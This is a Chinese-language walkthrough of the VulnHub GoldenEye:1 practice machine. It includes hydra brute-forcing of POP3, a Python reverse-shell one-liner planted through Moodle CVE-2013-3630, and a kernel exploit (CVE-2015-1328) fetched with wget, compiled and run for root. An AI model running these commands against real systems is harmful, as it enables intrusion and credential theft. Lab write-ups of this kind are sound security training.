《VulnHub》GoldenEye:1


title: 《VulnHub》GoldenEye:1
date: 2024-02-16 14:53:49
updated: 2024-02-16 15:08:49
categories: WriteUp:Cyber-Range
excerpt: 主机发现、目标信息扫描、源码 js 文件泄露敏感信息、hydra 爆破邮件服务(pop3)、邮件泄露敏感信息、ip 与域名映射写进 hosts 文件、whatweb 工具检测网站、图片隐写分析、CVE-2013-3630 漏洞利用、python 反弹 shell、使用 ptyhon 获取 tty、CVE-2015-1328 漏洞利用、kali 本地 exp 库攻击脚本利用。
comments: false
tags:
top_image: /images/backimg/SunsetClimbing.png


VulnHub

  • 1:靶场信息
  • 2:打靶
    • 2.1:情报收集 & 威胁建模
    • 2.2:漏洞分析 & 渗透攻击
    • 2.3:后渗透
  • 3:总结
    • 3.1:命令 & 工具
    • 3.2:关键技术


VulnHub 打靶记录。
VulnHub 官网:https://www.vulnhub.com

攻击机为 Kali-Linux-2023.3-vmware-amd64。
Kali NAT IP:192.168.8.15。

1:靶场信息

靶场地址:
https://www.vulnhub.com/entry/goldeneye-1,240/

2:打靶

2.1:情报收集 & 威胁建模

主机发现
nmap 192.168.8.0/24 -sn

在这里插入图片描述

可以确定目标 ip:192.168.8.137。

进行端口扫描、服务探测、OS 探测
nmap 192.168.8.137 -p- -sC -sV -O

┌──(root㉿kali)-[~]
└─# nmap 192.168.8.137 -p- -sC -sV -O 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-04 10:43 HKT
Nmap scan report for 192.168.8.137
Host is up (0.00089s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE  VERSION
25/tcp    open  smtp     Postfix smtpd
|_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=ubuntu
| Not valid before: 2018-04-24T03:22:34
|_Not valid after:  2028-04-21T03:22:34
80/tcp    open  http     Apache httpd 2.4.7 ((Ubuntu))
|_http-title: GoldenEye Primary Admin Server
|_http-server-header: Apache/2.4.7 (Ubuntu)
55006/tcp open  ssl/pop3 Dovecot pop3d
|_pop3-capabilities: SASL(PLAIN) RESP-CODES USER CAPA AUTH-RESP-CODE PIPELINING TOP UIDL
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-04-24T03:23:52
|_Not valid after:  2028-04-23T03:23:52
|_ssl-date: TLS randomness does not represent time
55007/tcp open  pop3     Dovecot pop3d
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-04-24T03:23:52
|_Not valid after:  2028-04-23T03:23:52
|_pop3-capabilities: USER CAPA PIPELINING RESP-CODES TOP AUTH-RESP-CODE SASL(PLAIN) UIDL STLS
|_ssl-date: TLS randomness does not represent time
MAC Address: 00:0C:29:01:85:10 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hopOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.41 seconds

先访问 80 端口看看。

给出了一个登录地址。查看源码还可以发现一个 js 文件。

在这里插入图片描述

terminal.js 内容如下。

在这里插入图片描述

var data = [{GoldenEyeText: "<span><br/>Severnaya Auxiliary Control Station<br/>****TOP SECRET ACCESS****<br/>Accessing Server Identity<br/>Server Name:....................<br/>GOLDENEYE<br/><br/>User: UNKNOWN<br/><span>Naviagate to /sev-home/ to login</span>"}
];//
//Boris, make sure you update your default password. 
//My sources say MI6 maybe planning to infiltrate. 
//Be on the lookout for any suspicious network traffic....
//
//I encoded you p@ssword below...
//
//&#73;&#110;&#118;&#105;&#110;&#99;&#105;&#98;&#108;&#101;&#72;&#97;&#99;&#107;&#51;&#114;
//
//BTW Natalya says she can break your codes
//var allElements = document.getElementsByClassName("typeing");
for (var j = 0; j < allElements.length; j++) {var currentElementId = allElements[j].id;var currentElementIdContent = data[0][currentElementId];var element = document.getElementById(currentElementId);var devTypeText = currentElementIdContent;var i = 0, isTag, text;(function type() {text = devTypeText.slice(0, ++i);if (text === devTypeText) return;element.innerHTML = text + `<span class='blinker'>&#32;</span>`;var char = text.slice(-1);if (char === "<") isTag = true;if (char === ">") isTag = false;if (isTag) return type();setTimeout(type, 60);})();
}

访问登录地址。

在这里插入图片描述

terminal.js 文件中的 html 编码字符串解密如下:

在这里插入图片描述

&#73;&#110;&#118;&#105;&#110;&#99;&#105;&#98;&#108;&#101;&#72;&#97;&#99;&#107;&#51;&#114;
InvincibleHack3r

除此以外从 js 文件中还可以得到两个名字:Boris、Natalya。

以此尝试一下登录,最终得到用户名与密码:

username: boris
password: InvincibleHack3r

登录后页面如下,提示了可能需要从 pop3 服务入手。

在这里插入图片描述

那就尝试爆破一下邮件服务密码。

将要使用的用户名写入文件。
echo -e 'boris\nnatalya' > name.txt

使用 hydra 爆破 pop3
hydra -L name.txt -P /usr/share/wordlists/fasttrack.txt 192.168.8.137 -s 55007 pop3

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

爆破出了两个账户。

login: boris     password: secret1!
login: natalya   password: bird

接下来可以通过 nc 登录 pop3 查看邮件

nc -nv 192.168.8.137 55007    # 登录邮箱
user boris                    # 登录用户
pass secret1!                 # 登录密码
list                          # 查看邮件数量
retr 1                        # 查看邮件内容

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

接下来查看一下 natalya 用户的邮件。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

获得了一个用户信息。

username: xenia
password: RCP90rulez!

除此以外获得了一个域名与网址信息。

severnaya-station.com
severnaya-station.com/gnocertdir

如果直接用 ip 访问是以下效果:

在这里插入图片描述

那就将 ip 与域名映射写进 hosts 文件。

192.168.8.137    severnaya-station.com

Windows hosts 文件位置:C:\Windows\System32\drivers\etc\hosts
Linux hosts 文件位置:/etc/hosts

再次访问网站:

在这里插入图片描述

网站 CMS 为 Moodle。

也可以用 whatweb 工具检测:
whatweb http://severnaya-station.com/gnocertdir/

在这里插入图片描述

网站需要登录,尝试使用以下用户信息登录网站:

username: xenia
password: RCP90rulez!

在这里插入图片描述

在这里插入图片描述

查看未读邮件。

在这里插入图片描述

这里发现 CMS 为 Moodle 2.2.3。

在这里插入图片描述

得到了一个新用户:doak

使用 hydra 爆破一下 pop3
hydra -l doak -P /usr/share/wordlists/fasttrack.txt 192.168.8.137 -s 55007 pop3

爆破出用户名与密码:

在这里插入图片描述

login: doak    password: goat

通过 nc 登录 pop3 查看邮件

nc -nv 192.168.8.137 55007    # 登录邮箱
user doak                     # 登录用户
pass goat                     # 登录密码
list                          # 查看邮件数量
retr 1                        # 查看邮件内容

在这里插入图片描述
获得了一个用户信息。

username: dr_doak
password: 4England!

用这个用户信息登录进网站:

在这里插入图片描述
发现一个私人文件,下载后查看。

在这里插入图片描述
给了一个网址目录:
/dir007key/for-007.jpg

访问查看:

在这里插入图片描述
根据邮件提示检查一下图片,先将图片下载。
wget http://severnaya-station.com/dir007key/for-007.jpg

之后可以用以下工具进行分析:

  • binwalk:路由逆向分析工具,用于获取给定二进制镜像文件嵌入的文件和代码
  • exiftool:图虫,解析图片 exif 信息
  • strings:用于打印文件中可打印字符串(ASCII 码)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
识别出一串 base64 编码:

eFdpbnRlcjE5OTV4IQ==

解码:

在这里插入图片描述

eFdpbnRlcjE5OTV4IQ==
xWinter1995x!

根据邮件中提示猜测这是 admin 账户的密码。

尝试登录网站:

在这里插入图片描述
没有发现什么可以利用的。

那尝试从 CMS 入手。搜索一下 Moodle 2.2.3 的漏洞。
关键字:Moodle 2.2.3 poc exp

发现 CVE-2013-3630 漏洞。尝试利用。

漏洞 exp 详情:

《Moodle - Remote Command Execution (Metasploit)》:
https://www.exploit-db.com/exploits/29324

从 exp 中可以看到,需要将拼写检查 google spell 换成 PSpellSHell。

在这里插入图片描述
刚好用 admin 登录的 CMS 后台可以进行此设置。

在这里插入图片描述

原因是目标主机上不存在 GCC 编译,只能 CC 编译,所以需要把 Google Spell 改成 PSpellShell。

2.2:漏洞分析 & 渗透攻击

启动 MSF
msfdb init && msfconsole

查找相关漏洞。
search CVE-2013-3630

在这里插入图片描述
使用序号为 0 的模块进行渗透。

use 0
show options
set USERNAME admin
set PASSWORD xWinter1995x!
set RHOSTS severnaya-station.com    # 设置目标主机
set TARGETURI /gnocertdir           # 设置目录

在这里插入图片描述
为了获得反弹 shell 的会话,还需要设置 payload

set payload cmd/unix/reverse    # 使用 cmd/unix/reverse
show options
set lhost 192.168.8.15          # 设置攻击机 ip

在这里插入图片描述
执行。

在这里插入图片描述
好,失败了

查阅资料发现可能是 msf 版本过高问题,但也发现了手工利用的方法。

《VulnHub-GoldenEye-1 靶场渗透测试》:
https://www.freebuf.com/articles/web/260592.html

开始手工利用漏洞

在下图所示路径设置中更改为以下 payload:

在这里插入图片描述

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.8.15",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

然后在 kali 终端使用 nc 监听相应端口
nc -lnvp 6666

之后在下图所示路径中新建文章,随便输入字符,点击 “ Toggle Spellchecker ” 后就会反弹 shell。

在这里插入图片描述
在这里插入图片描述
目标机安装了 python,可以使用 ptyhon 获取 tty,不然有些命令无法执行。
python -c 'import pty; pty.spawn("/bin/bash")'

teletypewriter(tty),表示终端或终端模拟器。

在这里插入图片描述
至此获取了目标机器一个低权限 shell。

2.3:后渗透

进行提权。

查看一下系统内核
uname -a

在这里插入图片描述
搜索一下相关的内核漏洞。

在这里插入图片描述
在这里插入图片描述
得到 EDB-ID:37292

搜索 kali 本地 exp 库中 37292 攻击脚本信息
searchsploit 37292

在这里插入图片描述
将该文件复制到一个目录中。

cp /usr/share/exploitdb/exploits/linux/local/37292.c /root/Desktop/GoldenEye-1/

查看目标机器,发现目标没有安装 gcc,但安装了 cc。还安装了 wget

C 语言用 gcc 编译 .c 文件为可执行文件。可以用 cc 代替编译。

在这里插入图片描述
原本的 37292.c 文件使用 gcc,需要将第 143 行的 gcc 改为 cc。

在这里插入图片描述
在相应目录下开启一个简单的 http 服务,便于使目标机器下载相应利用代码。
python3 -m http.server 8088

在这里插入图片描述
目标机器中,进入 /tmp/ 目录,下载。
wget http://192.168.8.15:8088/37292.c

在这里插入图片描述
编译,并给可执行文件赋权,然后执行

cc -o rootshell 37292.c
chmod +x rootshell
./rootshell

在这里插入图片描述
成功提权至 root。

最后使用 ptyhon 获取 tty。
python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
完结撒花!

3:总结

该靶场要点在于对敏感信息泄露的收集。

3.1:命令 & 工具

  • nmap
  • BurpSuite
  • hydra
  • netcat
  • whatweb
  • binwalk
  • exiftool
  • strings
  • Exploit Database
    https://www.exploit-db.com/
  • MSF
  • python
  • uname
  • searchsploit
  • cc
  • wget

3.2:关键技术

  • 主机发现
    nmap <ip cidr> -sn

  • 目标信息扫描,端口扫描、服务探测、操作系统探测:
    nmap <target> -p- -sC -sV -O

  • 源码 js 文件泄露敏感信息,html 编码字符串解密。

  • hydra 爆破邮件服务(pop3)
    hydra -L <name file> -P <password file> <target> -s <port> pop3
    hydra -l <name> -P <password file> <target> -s <port> pop3

  • netcat 登录查看邮件

nc -nv <target> <port>    # 登录邮箱
user <username>           # 登录用户
pass <password>           # 登录密码
list                      # 查看邮件数量
retr <num>                # 查看邮件内容
  • 邮件泄露敏感信息

  • ip 与域名映射写进 hosts 文件
    Windows hosts 文件位置:C:\Windows\System32\drivers\etc\hosts
    Linux hosts 文件位置:/etc/hosts

  • whatweb 工具检测网站
    whatweb <URL>

  • wget 下载文件
    wget <URI>

  • 图片隐写分析
    binwalk:路由逆向分析工具,用于获取给定二进制镜像文件嵌入的文件和代码
    exiftool:图虫,解析图片 exif 信息
    strings:用于打印文件中可打印字符串(ASCII 码)

  • CVE-2013-3630 漏洞利用。(msf 利用、手工利用)

  • python 反弹 shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.8.15",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'# 代码解释
import socket,subprocess,os;                           # 导入 socket、subprocess 和 os 模块
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);    # 创建一个 TCP 套接字
s.connect(("<ip>",<port>));                            # 连接远程主机的 IP 与端口
os.dup2(s.fileno(),0);                                 # 将标准输入重定向到套接字的文件描述符
os.dup2(s.fileno(),1);                                 # 将标准输出重定向到套接字的文件描述符
os.dup2(s.fileno(),2);                                 # 将标准错误重定向到套接字的文件描述符
p=subprocess.call(["/bin/sh","-i"]);                   # 通过 subprocess 模块调用 /bin/sh,并使用 -i 参数以交互模式运行 shell。
  • netcat 监听端口反弹 shell
    nc -lnvp <port>

  • 使用 ptyhon 获取 tty(teletypewriter,表示终端或终端模拟器):
    python -c 'import pty; pty.spawn("/bin/bash")'

  • 查看系统内核
    uname -a

  • CVE-2015-1328 漏洞利用。EDB-ID:37292。

  • 搜索 kali 本地 exp 库中攻击脚本信息
    searchsploit <ID>

  • 在目录下开启一个简单 http 服务
    python3 -m http.server <port>

  • 编译 c 文件,并赋权,执行。(利用系统内核漏洞提权)

cc -o <filename> <c file>
chmod +x <filename>
./<filename>

人之忌,在好为人师。

——《孟子》(战国)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/471951.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

微信小程序框架阐述

目录 一、框架 响应的数据绑定 页面管理 基础组件 丰富的 API 二、逻辑层 App Service 小程序的生命周期 注册页面 使用 Page 构造器注册页面 在页面中使用 behaviors 使用 Component 构造器构造页面 页面的生命周期 页面路由 页面栈 路由方式 注意事项 模块化…

面试经典150题——最小覆盖子串(困难)

"The greatest glory in living lies not in never falling, but in rising every time we fall." - Nelson Mandela​ 1. 题目描述 2. 题目分析与解析 2.1 思路一——暴力求解 还是和之前讲的一样&#xff0c;看见题目没思路&#xff0c;先试试普通情况下人的解法…

输入输出自定义映射矩阵(数据结构树)

输出自定义FC其它算法实现&#xff0c;可以参考下面文章&#xff1a; https://rxxw-control.blog.csdn.net/article/details/125994252https://rxxw-control.blog.csdn.net/article/details/125994252下面我们看下我们的控制要求。在学习本篇博客之前大家可以熟悉下数据结构图…

Qt Creator 继承分文件编写代码流程实现简单案列

Qt Creator 继承分文件流程实现简单案列 打开Qt Creator&#xff0c;新建c项目 添加类 完成之后&#xff0c;会自动生成.h和.cpp文件 一、animal.h文件 主要用来写类&#xff0c;包括成员变量和函数 #ifndef ANIMAL_H #define ANIMAL_H #include <iostream> #inclu…

牛客网SQL进阶123:高难度试卷的得分的截断平均值

官网链接&#xff1a; SQL类别高难度试卷得分的截断平均值_牛客题霸_牛客网牛客的运营同学想要查看大家在SQL类别中高难度试卷的得分情况。 请你帮她从exam_。题目来自【牛客题霸】https://www.nowcoder.com/practice/a690f76a718242fd80757115d305be45?tpId240&tqId2180…

挑战杯 python的搜索引擎系统设计与实现

0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; python的搜索引擎系统设计与实现 &#x1f947;学长这里给一个题目综合评分(每项满分5分) 难度系数&#xff1a;3分工作量&#xff1a;5分创新点&#xff1a;3分 该项目较为新颖&#xff…

SpringCloud之Feign发送Http请求

文章目录 http客户端Feign使用步骤自定义Feign的配置Feign的性能优化Feign的性能优化-连接池配置 Feign的最佳实践 http客户端Feign Feign的介绍&#xff1a; Feign是一个声明式的http客户端&#xff0c;官方地址&#xff1a;https:/github.com/OpenFeign/feign 其作用就是帮助…

函数递归与迭代附n的阶乘+顺序打印一个整数的每一位数+求第n个斐波那契数

1. 什么是递归&#xff1f; 递归其实是一种解决问题的方法&#xff0c;在C语言中&#xff0c;递归就是函数自己调用自己。 下面是一个最简单的C语言递归代码&#xff1a; #include <stdio.h> int main() {printf("hehe\n");main();//main函数中⼜调⽤了main函数…

多线程面试题汇总

多线程面试题汇总 一、多线程1、线程的生命周期2、线程的创建&#xff08;函数创建&#xff09;3、线程的创建&#xff08;使用类&#xff09;4、守护线程 二、全局解释器锁1、使用单线程实现累加到5000000002、使用多线程实现累加到5000000003、总结 三、线程安全1、多线程之数…

Fiddler抓包(网页、手机、MUMU模拟器)

前置条件&#xff1a;电脑上下载安装好了Fiddler&#xff0c;有浏览器 一、网页抓包 1、fiddler下载安装证书 Tools-Options 勾选下面两个框 点击下面的选项&#xff0c;信任证书 会弹出弹窗&#xff0c;点击yes&#xff08;这个时候注意&#xff0c;DO_NOT_TRUST_FiddlerRo…

【Linux网络编程六】服务器守护进程化Daemon

【Linux网络编程六】服务器守护进程化Daemon 一.背景知识&#xff1a;前台与后台二.相关操作三.Linux的进程间关系四.自成会话五.守护进程四步骤六.服务器守护进程化 一.背景知识&#xff1a;前台与后台 核心知识就是一个用户在启动Linux时&#xff0c;都会给一个session会话&a…

Open AI 王炸,新Sora模型 一句话生成 1 分钟视频,效果接近实拍。

自从Openai推出了Chatgpt&#xff0c;彻底拉开了AI革命的序幕&#xff0c;我们见证了越来越多AI产品的兴起&#xff0c; 以前只敢想一想的东西&#xff0c;到现在真的变成了现实。 就比如前段时间刚刚发售的 Vision Pro 人们甚至戴上眼镜就可以实现办公&#xff0c;只要动一动…